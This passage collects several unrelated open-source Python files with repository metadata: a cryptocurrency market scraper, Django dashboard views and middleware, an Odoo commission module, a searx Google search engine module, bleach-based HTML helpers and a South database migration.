table[:5]: currency = [] # Get the currency name names = item.findAll('td', {'class': name_regex}) for name in names: currency.append(name.find('a').contents[0].strip()) # Get the marketcap value marketcaps = item.findAll('td', {'class': marketcap_regex}) for marketcap in marketcaps: currency.append(marketcap.contents[0].strip()) # Get the price value prices = item.findAll('a', {'class': price_regex}) for price in prices: currency.append(price.contents[0].strip()) # Get the change percentage and sign changes = item.findAll('td', {'class': positive_change_regex}) if changes: for change in changes: currency.append(change.contents[0].strip()) currency.append('positive') else: changes = item.findAll('td', {'class': negative_change_regex}) for change in changes: currency.append(change.contents[0].strip()) currency.append('negative') marketcap_dict['currencies'].append(currency) # Generate JSON file from ordered dictionary json_path = output_dir + 'marketcap.json' print 'Generating ' + json_path + ' file...' write_json_file(marketcap_dict, json_path) except Exception as exception: print 'Error %s:' % exception.args[0] send_email( '[email protected]', '[email protected]', 'ERROR', exception.args[0] ) def get_last_from_exchange(database_url, exchange_name): """ Get last value obtained from the specified exchange. :param database_url: Full path URL to SQLite database. :param exchange_name: Exchange name. """ try: engine = connect_database(database_url) session = open_session(engine) # Get the exchange object for the given exchange name exchange_obj = session.query(Exchange).filter( Exchange.name == exchange_name).first() # If exchange exists get its last currency value in database if exchange_obj: association_obj = session.query(Association).filter( Association.exchange_id == exchange_obj.id).order_by( Association.date.desc()).order_by( Association.time.desc()).first() return association_obj.last else: return None except exc.SQLAlchemyError, exception: print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() Base = declarative_base() class Currency(Base): """ SQLAlchemy ORM class to store information about currencies on database. """ __tablename__ = "currencies" id = Column(Integer, Sequence('currency_id_seq'), primary_key=True) name = Column(String(10), unique=True) description = Column(String) cryptocurrency = Column(Boolean) active = Column(Boolean) def __init__(self, name, description, cryptocurrency, active): """Docstring""" self.name = name self.description = description self.cryptocurrency = cryptocurrency self.active = active class Exchange(Base): """ SQLAlchemy ORM class to store information about exchanges on database. """ __tablename__ = "exchanges" id = Column(Integer, Sequence('exchange_id_seq'), primary_key=True) name = Column(String(10)) country = Column(String(10)) url = Column(String) api = Column(String) currency_id = Column(Integer, ForeignKey("currencies.id")) currency = relationship("Currency", backref=backref("exchanges", order_by=id)) active = Column(Boolean) def __init__(self, name, country, url, api, currency_id, active): """Docstring""" self.name = name self.country = country self.url = url self.api = api self.currency_id = currency_id self.active = active class Association(Base): """ SQLAlchemy ORM class to store current currencies' values obtained from APIs available on each exchange. """ __tablename__ = 'exchanges_currencies' id = Column(Integer, Sequence('association_id_seq'), primary_key=True) exchange_id = Column(Integer, ForeignKey('exchanges.id')) currency_id = Column(Integer, ForeignKey('currencies.id')) last = Column(Float) date = Column(Date, default=date.today()) time = Column(Time, default=datetime.now().time()) def __init__(self, exchange_id, currency_id, last): self.exchange_id = exchange_id self.currency_id = currency_id self.last = last def asdict(self, session): """ Function which returns an ordered dictionary containing field values from the current Association object. """ properties = OrderedDict() id = self.exchange_id exchange = session.query(Exchange).filter(Exchange.id == id).first() properties['display_URL'] = exchange.url properties['display_name'] = exchange.name properties['currency'] = exchange.currency.name if exchange.currency.name == 'ARS': properties['blue'] = self.last else: properties['last'] = self.last return exchange.name.lower(), properties def parse_args(): """ Options parser for running the Python script directly from shell to create and initialize Bitcharts database for the first time. """ parser = argparse.ArgumentParser(prog='bitcharts.py') parser.add_argument("-d", "--database-name", help="Name for new database to create", dest="database_name") parser.add_argument("-c", "--currencies-file", help="Configuration file with currencies information", dest="currencies_file") parser.add_argument("-e", "--exchanges-file", help="Configuration file with exchanges information", dest="exchanges_file") if len(sys.argv) < 6: print '\nERROR: Too few arguments.\n' parser.print_help() sys.exit() args = parser.parse_args() if args.database_name and args.currencies_file and args.exchanges_file: # Append to filename a descriptive extension filename = args.database_name + '.sqlite' # If database file exists do not overwrite if os.path.exists(filename): print '\nERROR: Database file '" + filename + "' already exists.\n' sys.exit() # Compose the full database URL to be passed to db connection string database_url = 'sqlite:///' + filename # Create database schema based on the SQLAlchemy ORM create_tables(database_url) # Initialize database with values obtained from configuration files initialize_database(database_url, args.currencies_file, args.exchanges_file) else: print '\nERROR: You must specify valid inputs.\n' parser.print_help() sys.exit() def main(): """ Main function. """ try: parse_args() except KeyboardInterrupt: print 'Aborting... Interrupted by user.' sys.exit(0) if __name__ == '__main__': main()
lisogallo/bitcharts-core-legacy
bitcharts.py
Python
agpl-3.0
24,568
from django.urls import reverse_lazy from django.utils import timezone from django.utils.translation import gettext as _ from django.views.generic import TemplateView from .components import DashboardBaseMixin, DashboardAppMixin from .dashboard_widgets import DashboardWidgets from .shortcuts import check_permissions class IndexView(DashboardBaseMixin, TemplateView): template_name = 'dashboard/overview.html' def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) user = self.request.user active_widgets_for_current_user = [] #Check the permissions for each widget... for widget in DashboardWidgets.active_widgets: #...only add widgets with matching permissions if check_permissions(user, widget.permissions): active_widgets_for_current_user.append(widget) context['widgets'] = active_widgets_for_current_user return context class PersonalDashboardMixin(DashboardAppMixin): app_name_verbose = _('Meine Übersicht') app_name = 'my' @property def sidebar_links(self): links = [ (_('Start'), reverse_lazy("dashboard:personal_overview")) ] from clothing.models import Settings clothing_settings = Settings.instance() if clothing_settings is not None and clothing_settings.clothing_ordering_enabled: links.append((_('Kleidungsbestellung'), reverse_lazy('clothing:overview'))) return links def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) from staff.models import Person context['person'] = Person.get_by_user(self.request.user) return context class PermissionMissingView(DashboardBaseMixin, TemplateView): template_name = 'dashboard/permission_required.html' class PersonalOverview(PersonalDashboardMixin, TemplateView): template_name = 'dashboard/personal_overview.html' def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) person = context['person'] if person is not None: context['person_registered'] = True context['next_events'] = [attendance.event for attendance in person.attendance_set.filter(event__end__gte=timezone.now()).select_related( 'event')] if person.is_tutor: context['tutor_group'] = person.tutorgroup_set.first() if context['tutor_group'] is not None: context['tutor_partners'] = ", ".join( t.get_name() for t in context['tutor_group'].tutors.exclude(id=person.id)) from clothing.models import Order, Settings context['clothing_orders'] = Order.objects.filter(person=person).select_related('type', 'size', 'color') clothing_settings = Settings.instance() if clothing_settings is not None: context[ 'show_clothing_order_warning'] = clothing_settings.clothing_ordering_enabled and Order.user_eligible_but_not_ordered_yet( person) return context
d120/pyophase
dashboard/views.py
Python
agpl-3.0
3,245
from labonneboite.scripts import prepare_mailing_data as script from labonneboite.tests.test_base import DatabaseTest from labonneboite.common.models import Office class PrepareMailingDataBaseTest(DatabaseTest): """ Create Elasticsearch and DB content for the unit tests. """ def setUp(self, *args, **kwargs): super(PrepareMailingDataBaseTest, self).setUp(*args, **kwargs) # We should have 0 offices in the DB. self.assertEqual(Office.query.count(), 0) class MinimalisticTest(PrepareMailingDataBaseTest): """ Test prepare_mailing_data script. This test is quite minimalistic as there is no office in DB (nor in ES). """ def test_prepare_mailing_data(self): script.prepare_mailing_data()
StartupsPoleEmploi/labonneboite
labonneboite/tests/scripts/test_prepare_mailing_data.py
Python
agpl-3.0
761
# coding: utf-8 import ui import model import console import threading from datetime import datetime, timedelta @ui.in_background def send_action(sender): global main_view weight = main_view['textfield_weight'].text try: model.register_weight(float(weight)) weight_changed_action(sender) except BaseException as e: console.hud_alert(str(e), 'error') else: console.hud_alert('Done!', 'success') def weight_changed_action(sender): global main_view weight_text = main_view['textfield_weight'].text height_text = main_view['textfield_height'].text try: weight = float(weight_text) height = float(height_text) main_view['textfield_imc'].text = '{:.1f}'.format(model.compute_imc(weight, height)) except: pass def height_changed_action(sender): model.set_height(main_view['textfield_height'].text) main_view = ui.load_view('main') height = model.get_height() main_view['textfield_height'].text = str(height) main_view['textfield_height'].action = height_changed_action main_view['textfield_weight'].action = weight_changed_action main_view['textfield_ideal_weight'].text = '{:.1f}'.format(model.ideal_weight(height)) main_view['trend_15_days'].text = '{:.1f} Kg'.format(model.estimate_weight(datetime.now() - timedelta(weeks=2))) main_view['trend_30_days'].text = '{:.1f} Kg'.format(model.estimate_weight(datetime.now() - timedelta(weeks=4))) class PlotThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): global main_view status = main_view['label_status'] picture = main_view['plot'] status.hidden = False picture.hidden = True status.text = 'Please wait, generating plot...' data = model.generate_plot() picture.image = ui.Image.from_data(data) status.hidden = True picture.hidden = False PlotThread().start() main_view.present()
maurelio1234/weightreg
main.py
Python
agpl-3.0
1,841
# -*- coding: utf-8 -*- # © 2011 Pexego Sistemas Informáticos (<http://www.pexego.es>) # © 2015 Avanzosc (<http://www.avanzosc.es>) # © 2015 Pedro M. Baeza (<http://www.serviciosbaeza.com>) # License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html from openerp import api, fields, models class AccountInvoice(models.Model): """Invoice inherit to add salesman""" _inherit = "account.invoice" @api.depends('invoice_line.agents.amount') def _compute_commission_total(self): for record in self: record.commission_total = 0.0 for line in record.invoice_line: record.commission_total += sum(x.amount for x in line.agents) # Consider also purchase refunds, although not in the initial scope if record.type in ('out_refund', 'in_refund'): record.commission_total = -record.commission_total commission_total = fields.Float( string="Commissions", compute="_compute_commission_total", store=True) @api.multi def action_cancel(self): """Put settlements associated to the invoices in exception.""" settlements = self.env['sale.commission.settlement'].search( [('invoice', 'in', self.ids)]) settlements.write({'state': 'except_invoice'}) return super(AccountInvoice, self).action_cancel() @api.multi def invoice_validate(self): """Put settlements associated to the invoices again in invoice.""" settlements = self.env['sale.commission.settlement'].search( [('invoice', 'in', self.ids)]) settlements.write({'state': 'invoiced'}) return super(AccountInvoice, self).invoice_validate() @api.multi def _refund_cleanup_lines(self, lines): """ugly function to map all fields of account.invoice.line when creates refund invoice""" res = super(AccountInvoice, self)._refund_cleanup_lines(lines) for line in res: if 'commission_ids' in line[2]: commission_ids = [(6, 0, line[2]['commission_ids'])] line[2]['commission_ids'] = commission_ids return res class AccountInvoiceLine(models.Model): _inherit = "account.invoice.line" @api.model def _default_agents(self): agents = [] if self.env.context.get('partner_id'): partner = self.env['res.partner'].browse( self.env.context['partner_id']) for agent in partner.agents: agents.append({'agent': agent.id, 'commission': agent.commission.id}) return [(0, 0, x) for x in agents] agents = fields.One2many( comodel_name="account.invoice.line.agent", inverse_name="invoice_line", string="Agents & commissions", help="Agents/Commissions related to the invoice line.", default=_default_agents, copy=True) commission_free = fields.Boolean( string="Comm. free", related="product_id.commission_free", store=True, readonly=True) class AccountInvoiceLineAgent(models.Model): _name = "account.invoice.line.agent" invoice_line = fields.Many2one( comodel_name="account.invoice.line", required=True, ondelete="cascade") invoice = fields.Many2one( comodel_name="account.invoice", string="Invoice", related="invoice_line.invoice_id", store=True) invoice_date = fields.Date( string="Invoice date", related="invoice.date_invoice", store=True, readonly=True) product = fields.Many2one( comodel_name='product.product', related="invoice_line.product_id") agent = fields.Many2one( comodel_name="res.partner", required=True, ondelete="restrict", domain="[('agent', '=', True)]") commission = fields.Many2one( comodel_name="sale.commission", required=True, ondelete="restrict") amount = fields.Float( string="Amount settled", compute="_compute_amount", store=True) agent_line = fields.Many2many( comodel_name='sale.commission.settlement.line', relation='settlement_agent_line_rel', column1='agent_line_id', column2='settlement_id') settled = fields.Boolean(compute="_compute_settled", store=True) @api.onchange('agent') def onchange_agent(self): self.commission = self.agent.commission @api.depends('commission.commission_type', 'invoice_line.price_subtotal', 'commission.amount_base_type') def _compute_amount(self): for line in self: line.amount = 0.0 if (not line.invoice_line.product_id.commission_free and line.commission): if line.commission.amount_base_type == 'net_amount': subtotal = (line.invoice_line.price_subtotal - (line.invoice_line.product_id.standard_price * line.invoice_line.quantity)) else: subtotal = line.invoice_line.price_subtotal if line.commission.commission_type == 'fixed': line.amount = subtotal * (line.commission.fix_qty / 100.0) else: line.amount = line.commission.calculate_section(subtotal) @api.depends('agent_line', 'agent_line.settlement.state', 'invoice', 'invoice.state') def _compute_settled(self): # Count lines of not open or paid invoices as settled for not # being included in settlements for line in self: self.settled = (line.invoice.state not in ('open', 'paid') or any(x.settlement.state != 'cancel' for x in line.agent_line)) _sql_constraints = [ ('unique_agent', 'UNIQUE(invoice_line, agent)', 'You can only add one time each agent.') ]
Antiun/commission
sale_commission/models/account_invoice.py
Python
agpl-3.0
5,904
# Google (Web) # # @website https://www.google.com # @provide-api yes (https://developers.google.com/custom-search/) # # @using-api no # @results HTML # @stable no (HTML can change) # @parse url, title, content, suggestion import re from flask_babel import gettext from lxml import html, etree from searx.engines.xpath import extract_text, extract_url from searx import logger from searx.url_utils import urlencode, urlparse, parse_qsl logger = logger.getChild('google engine') # engine dependent config categories = ['general'] paging = True language_support = True use_locale_domain = True time_range_support = True # based on https://en.wikipedia.org/wiki/List_of_Google_domains and tests default_hostname = 'www.google.com' country_to_hostname = { 'BG': 'www.google.bg', # Bulgaria 'CZ': 'www.google.cz', # Czech Republic 'DE': 'www.google.de', # Germany 'DK': 'www.google.dk', # Denmark 'AT': 'www.google.at', # Austria 'CH': 'www.google.ch', # Switzerland 'GR': 'www.google.gr', # Greece 'AU': 'www.google.com.au', # Australia 'CA': 'www.google.ca', # Canada 'GB': 'www.google.co.uk', # United Kingdom 'ID': 'www.google.co.id', # Indonesia 'IE': 'www.google.ie', # Ireland 'IN': 'www.google.co.in', # India 'MY': 'www.google.com.my', # Malaysia 'NZ': 'www.google.co.nz', # New Zealand 'PH': 'www.google.com.ph', # Philippines 'SG': 'www.google.com.sg', # Singapore # 'US': 'www.google.us', # United States, redirect to .com 'ZA': 'www.google.co.za', # South Africa 'AR': 'www.google.com.ar', # Argentina 'CL': 'www.google.cl', # Chile 'ES': 'www.google.es', # Spain 'MX': 'www.google.com.mx', # Mexico 'EE': 'www.google.ee', # Estonia 'FI': 'www.google.fi', # Finland 'BE': 'www.google.be', # Belgium 'FR': 'www.google.fr', # France 'IL': 'www.google.co.il', # Israel 'HR': 'www.google.hr', # Croatia 'HU': 'www.google.hu', # Hungary 'IT': 'www.google.it', # Italy 'JP': 'www.google.co.jp', # Japan 'KR': 'www.google.co.kr', # South Korea 'LT': 'www.google.lt', # Lithuania 'LV': 'www.google.lv', # Latvia 'NO': 'www.google.no', # Norway 'NL': 'www.google.nl', # Netherlands 'PL': 'www.google.pl', # Poland 'BR': 'www.google.com.br', # Brazil 'PT': 'www.google.pt', # Portugal 'RO': 'www.google.ro', # Romania 'RU': 'www.google.ru', # Russia 'SK': 'www.google.sk', # Slovakia 'SL': 'www.google.si', # Slovenia (SL -> si) 'SE': 'www.google.se', # Sweden 'TH': 'www.google.co.th', # Thailand 'TR': 'www.google.com.tr', # Turkey 'UA': 'www.google.com.ua', # Ukraine # 'CN': 'www.google.cn', # China, only from China ? 'HK': 'www.google.com.hk', # Hong Kong 'TW': 'www.google.com.tw' # Taiwan } # osm url_map = 'https://www.openstreetmap.org/'\ + '?lat={latitude}&lon={longitude}&zoom={zoom}&layers=M' # search-url search_path = '/search' search_url = ('https://{hostname}' + search_path + '?{query}&start={offset}&gws_rd=cr&gbv=1&lr={lang}&ei=x') time_range_search = "&tbs=qdr:{range}" time_range_dict = {'day': 'd', 'week': 'w', 'month': 'm', 'year': 'y'} # other URLs map_hostname_start = 'maps.google.' maps_path = '/maps' redirect_path = '/url' images_path = '/images' supported_languages_url = 'https://www.google.com/preferences?#languages' # specific xpath variables results_xpath = '//div[@class="g"]' url_xpath = './/h3/a/@href' title_xpath = './/h3' content_xpath = './/span[@class="st"]' content_misc_xpath = './/div[@class="f slp"]' suggestion_xpath = '//p[@class="_Bmc"]' spelling_suggestion_xpath = '//a[@class="spell"]' # map : detail location map_address_xpath = './/div[@class="s"]//table//td[2]/span/text()' map_phone_xpath = './/div[@class="s"]//table//td[2]/span/span' map_website_url_xpath = 'h3[2]/a/@href' map_website_title_xpath = 'h3[2]' # map : near the location map_near = 'table[@class="ts"]//tr' map_near_title = './/h4' map_near_url = './/h4/a/@href' map_near_phone = './/span[@class="nobr"]' # images images_xpath = './/div/a' image_url_xpath = './@href' image_img_src_xpath = './img/@src' # property names # FIXME : no translation property_address = "Address" property_phone = "Phone number" # remove google-specific tracking-url def parse_url(url_string, google_hostname): # sanity check if url_string is None: return url_string # normal case parsed_url = urlparse(url_string) if (parsed_url.netloc in [google_hostname, ''] and parsed_url.path == redirect_path): query = dict(parse_qsl(parsed_url.query)) return query['q'] else: return url_string # returns extract_text on the first result selected by the xpath or None def extract_text_from_dom(result, xpath): r = result.xpath(xpath) if len(r) > 0: return extract_text(r[0]) return None # do search-request def request(query, params): offset = (params['pageno'] - 1) * 10 # temporary fix until a way of supporting en-US is found if params['language'] == 'en-US': params['language'] = 'en-GB' if params['language'][:2] == 'jv': language = 'jw' country = 'ID' url_lang = 'lang_jw' else: language_array = params['language'].lower().split('-') if len(language_array) == 2: country = language_array[1] else: country = 'US' language = language_array[0] + ',' + language_array[0] + '-' + country url_lang = 'lang_' + language_array[0] if use_locale_domain: google_hostname = country_to_hostname.get(country.upper(), default_hostname) else: google_hostname = default_hostname params['url'] = search_url.format(offset=offset, query=urlencode({'q': query}), hostname=google_hostname, lang=url_lang) if params['time_range'] in time_range_dict: params['url'] += time_range_search.format(range=time_range_dict[params['time_range']]) params['headers']['Accept-Language'] = language params['headers']['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' params['google_hostname'] = google_hostname return params # get response from search-request def response(resp): results = [] # detect google sorry resp_url = urlparse(resp.url) if resp_url.netloc == 'sorry.google.com' or resp_url.path == '/sorry/IndexRedirect': raise RuntimeWarning('sorry.google.com') if resp_url.path.startswith('/sorry'): raise RuntimeWarning(gettext('CAPTCHA required')) # which hostname ? google_hostname = resp.search_params.get('google_hostname') google_url = "https://" + google_hostname # convert the text to dom dom = html.fromstring(resp.text) instant_answer = dom.xpath('//div[@id="_vBb"]//text()') if instant_answer: results.append({'answer': u' '.join(instant_answer)}) try: results_num = int(dom.xpath('//div[@id="resultStats"]//text()')[0] .split()[1].replace(',', '')) results.append({'number_of_results': results_num}) except: pass # parse results for result in dom.xpath(results_xpath): try: title = extract_text(result.xpath(title_xpath)[0]) url = parse_url(extract_url(result.xpath(url_xpath), google_url), google_hostname) parsed_url = urlparse(url, google_hostname) # map result if parsed_url.netloc == google_hostname: # TODO fix inside links continue # if parsed_url.path.startswith(maps_path) or parsed_url.netloc.startswith(map_hostname_start): # print "yooooo"*30 # x = result.xpath(map_near) # if len(x) > 0: # # map : near the location # results = results + parse_map_near(parsed_url, x, google_hostname) # else: # # map : detail about a location # results = results + parse_map_detail(parsed_url, result, google_hostname) # # google news # elif parsed_url.path == search_path: # # skipping news results # pass # # images result # elif parsed_url.path == images_path: # # only thumbnail image provided, # # so skipping image results # # results = results + parse_images(result, google_hostname) # pass else: # normal result content = extract_text_from_dom(result, content_xpath) if content is None: continue content_misc = extract_text_from_dom(result, content_misc_xpath) if content_misc is not None: content = content_misc + "<br />" + content # append result results.append({'url': url, 'title': title, 'content': content }) except: logger.debug('result parse error in:\n%s', etree.tostring(result, pretty_print=True)) continue # parse suggestion for suggestion in dom.xpath(suggestion_xpath): # append suggestion results.append({'suggestion': extract_text(suggestion)}) for correction in dom.xpath(spelling_suggestion_xpath): results.append({'correction': extract_text(correction)}) # return results return results def parse_images(result, google_hostname): results = [] for image in result.xpath(images_xpath): url = parse_url(extract_text(image.xpath(image_url_xpath)[0]), google_hostname) img_src = extract_text(image.xpath(image_img_src_xpath)[0]) # append result results.append({'url': url, 'title': '', 'content': '', 'img_src': img_src, 'template': 'images.html' }) return results def parse_map_near(parsed_url, x, google_hostname): results = [] for result in x: title = extract_text_from_dom(result, map_near_title) url = parse_url(extract_text_from_dom(result, map_near_url), google_hostname) attributes = [] phone = extract_text_from_dom(result, map_near_phone) add_attributes(attributes, property_phone, phone, 'tel:' + phone) results.append({'title': title, 'url': url, 'content': attributes_to_html(attributes) }) return results def parse_map_detail(parsed_url, result, google_hostname): results = [] # try to parse the geoloc m = re.search(r'@([0-9\.]+),([0-9\.]+),([0-9]+)', parsed_url.path) if m is None: m = re.search(r'll\=([0-9\.]+),([0-9\.]+)\&z\=([0-9]+)', parsed_url.query) if m is not None: # geoloc found (ignored) lon = float(m.group(2)) # noqa lat = float(m.group(1)) # noqa zoom = int(m.group(3)) # noqa # attributes attributes = [] address = extract_text_from_dom(result, map_address_xpath) phone = extract_text_from_dom(result, map_phone_xpath) add_attributes(attributes, property_address, address, 'geo:' + str(lat) + ',' + str(lon)) add_attributes(attributes, property_phone, phone, 'tel:' + phone) # title / content / url website_title = extract_text_from_dom(result, map_website_title_xpath) content = extract_text_from_dom(result, content_xpath) website_url = parse_url(extract_text_from_dom(result, map_website_url_xpath), google_hostname) # add a result if there is a website if website_url is not None: results.append({'title': website_title, 'content': (content + '<br />' if content is not None else '') + attributes_to_html(attributes), 'url': website_url }) return results def add_attributes(attributes, name, value, url): if value is not None and len(value) > 0: attributes.append({'label': name, 'value': value, 'url': url}) def attributes_to_html(attributes): retval = '<table class="table table-striped">' for a in attributes: value = a.get('value') if 'url' in a: value = '<a href="' + a.get('url') + '">' + value + '</a>' retval = retval + '<tr><th>' + a.get('label') + '</th><td>' + value + '</td></tr>' retval = retval + '</table>' return retval # get supported languages from their site def _fetch_supported_languages(resp): supported_languages = {} dom = html.fromstring(resp.text) options = dom.xpath('//table//td/font/label/span') for option in options: code = option.xpath('./@id')[0][1:] name = option.text.title() supported_languages[code] = {"name": name} return supported_languages
misnyo/searx
searx/engines/google.py
Python
agpl-3.0
13,491
from __future__ import absolute_import, unicode_literals import traceback from django.db import transaction from django.utils import timezone, translation from temba.orgs.models import Org from temba.contacts.models import Contact from temba.settings import BRANDING, DEFAULT_BRAND, HOSTNAME class ExceptionMiddleware(object): def process_exception(self, request, exception): if settings.DEBUG: traceback.print_exc(exception) return None class BrandingMiddleware(object): @classmethod def get_branding_for_host(cls, host): # ignore subdomains if len(host.split('.')) > 2: host = '.'.join(host.split('.')[-2:]) # prune off the port if ':' in host: host = host[0:host.rindex(':')] # our default branding branding = BRANDING.get(HOSTNAME, BRANDING.get(DEFAULT_BRAND)) # override with site specific branding if we have that site_branding = BRANDING.get(host, None) if site_branding: branding = branding.copy() branding.update(site_branding) # stuff in the incoming host branding['host'] = host return branding def process_request(self, request): """ Check for any branding options based on the current host """ host = 'localhost' try: host = request.get_host() except: traceback.print_exc() request.branding = BrandingMiddleware.get_branding_for_host(host) class ActivateLanguageMiddleware(object): def process_request(self, request): user = request.user language = request.branding.get('language', settings.DEFAULT_LANGUAGE) if user.is_anonymous() or user.is_superuser: translation.activate(language) else: user_settings = user.get_settings() translation.activate(user_settings.language) class OrgTimezoneMiddleware(object): def process_request(self, request): user = request.user org = None if not user.is_anonymous(): org_id = request.session.get('org_id', None) if org_id: org = Org.objects.filter(is_active=True, pk=org_id).first() # only set the org if they are still a user or an admin if org and (user.is_superuser or user.is_staff or user in org.get_org_users()): user.set_org(org) # otherwise, show them what orgs are available else: user_orgs = user.org_admins.all() | user.org_editors.all() | user.org_viewers.all() | user.org_surveyors.all() user_orgs = user_orgs.distinct('pk') if user_orgs.count() == 1: user.set_org(user_orgs[0]) org = request.user.get_org() if org: timezone.activate(org.timezone) else: timezone.activate(settings.USER_TIME_ZONE) return None class FlowSimulationMiddleware(object): def process_request(self, request): Contact.set_simulation(False) return None try: import cProfile as profile except ImportError: import profile import pstats from cStringIO import StringIO from django.conf import settings class ProfilerMiddleware(object): """ Simple profile middleware to profile django views. To run it, add ?prof to the URL like this: http://localhost:8000/view/?prof Optionally pass the following to modify the output: ?sort => Sort the output by a given metric. Default is time. See http://docs.python.org/2/library/profile.html#pstats.Stats.sort_stats for all sort options. ?count => The number of rows to display. Default is 100. This is adapted from an example found here: http://www.slideshare.net/zeeg/django-con-high-performance-django-presentation. """ def can(self, request): return settings.DEBUG and 'prof' in request.GET def process_view(self, request, callback, callback_args, callback_kwargs): if self.can(request): self.profiler = profile.Profile() args = (request,) + callback_args return self.profiler.runcall(callback, *args, **callback_kwargs) def process_response(self, request, response): if self.can(request): self.profiler.create_stats() io = StringIO() stats = pstats.Stats(self.profiler, stream=io) stats.strip_dirs().sort_stats(request.GET.get('sort', 'time')) stats.print_stats(int(request.GET.get('count', 100))) response.content = '<pre>%s</pre>' % io.getvalue() return response class NonAtomicGetsMiddleware(object): """ Django's non_atomic_requests decorator gives us no way of enabling/disabling transactions depending on the request type. This middleware will make the current request non-atomic if an _non_atomic_gets attribute is set on the view function, and if the request method is GET. """ def process_view(self, request, view_func, view_args, view_kwargs): if getattr(view_func, '_non_atomic_gets', False): if request.method.lower() == 'get': transaction.non_atomic_requests(view_func) else: view_func._non_atomic_requests = set() return None
praekelt/rapidpro
temba/middleware.py
Python
agpl-3.0
5,397
# -*- coding: utf-8 -*- # Copyright 2020 OpenSynergy Indonesia # Copyright 2020 PT. Simetri Sinergi Indonesia # License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl). from . import ( purchase_request, tier_definition, )
open-synergy/opnsynid-purchase-workflow
purchase_request_multiple_approval/models/__init__.py
Python
agpl-3.0
236
# -*- coding: utf-8 -*- # Law-to-Code -- Extract formulas & parameters from laws # By: Emmanuel Raviart <[email protected]> # # Copyright (C) 2013 OpenFisca Team # https://github.com/openfisca/LawToCode # # This file is part of Law-to-Code. # # Law-to-Code is free software; you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # Law-to-Code is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. """Helpers to handle strings""" import bleach bleach_allowed_attributes = dict( a = ['href', 'title'], acronym = ['title'], abbr = ['title'], img = ['alt', 'src', 'title'], ) bleach_allowed_styles = [] bleach_allowed_tags = [ 'a', 'abbr', 'acronym', 'b', 'blockquote', 'code', 'em', 'i', 'img', 'li', 'ol', 'p', 'strong', 'ul', ] def clean_html(text): if not text: return u'' return bleach.clean(text, attributes = bleach_allowed_attributes, styles = bleach_allowed_styles, tags = bleach_allowed_tags) return text def textify_html(text): if not text: return u'' return bleach.clean(text, attributes = {}, styles = [], tags = [], strip = True) def truncate(text, length = 30, indicator = u'…', whole_word = False): """Truncate ``text`` to a maximum number of characters. Code taken from webhelpers. ``length`` The maximum length of ``text`` before replacement ``indicator`` If ``text`` exceeds the ``length``, this string will replace the end of the string ``whole_word`` If true, shorten the string further to avoid breaking a word in the middle. A word is defined as any string not containing whitespace. If the entire text before the break is a single word, it will have to be broken. Example:: >>> truncate('Once upon a time in a world far far away', 14) 'Once upon a...' """ if not text: return u'' if len(text) <= length: return text short_length = length - len(indicator) if whole_word: # Go back to end of previous word. i = short_length while i >= 0 and not text[i].isspace(): i -= 1 while i >= 0 and text[i].isspace(): i -= 1 if i > 0: return text[:i + 1] + indicator # Entire text before break is one word. return text[:short_length] + indicator
openfisca/LawToCode
lawtocode/texthelpers.py
Python
agpl-3.0
2,921
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Message' db.create_table('controller_message', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('grader', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['controller.Grader'])), ('message', self.gf('django.db.models.fields.TextField')()), ('originator', self.gf('django.db.models.fields.CharField')(max_length=1024)), ('recipient', self.gf('django.db.models.fields.CharField')(max_length=1024)), ('message_type', self.gf('django.db.models.fields.CharField')(max_length=1024)), ('date_created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)), ('date_modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, blank=True)), )) db.send_create_signal('controller', ['Message']) def backwards(self, orm): # Deleting model 'Message' db.delete_table('controller_message') models = { 'controller.grader': { 'Meta': {'object_name': 'Grader'}, 'confidence': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '9'}), 'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'date_modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'feedback': ('django.db.models.fields.TextField', [], {}), 'grader_id': ('django.db.models.fields.CharField', [], {'max_length': '1024'}), 'grader_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_calibration': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'score': ('django.db.models.fields.IntegerField', [], {}), 'status_code': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'submission': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['controller.Submission']"}) }, 'controller.message': { 'Meta': {'object_name': 'Message'}, 'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'date_modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'grader': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['controller.Grader']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'message': ('django.db.models.fields.TextField', [], {}), 'message_type': ('django.db.models.fields.CharField', [], {'max_length': '1024'}), 'originator': ('django.db.models.fields.CharField', [], {'max_length': '1024'}), 'recipient': ('django.db.models.fields.CharField', [], {'max_length': '1024'}) }, 'controller.submission': { 'Meta': {'object_name': 'Submission'}, 'course_id': ('django.db.models.fields.CharField', [], {'max_length': '1024'}), 'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'date_modified': ('django.db.models.fields.DateTimeField', [], 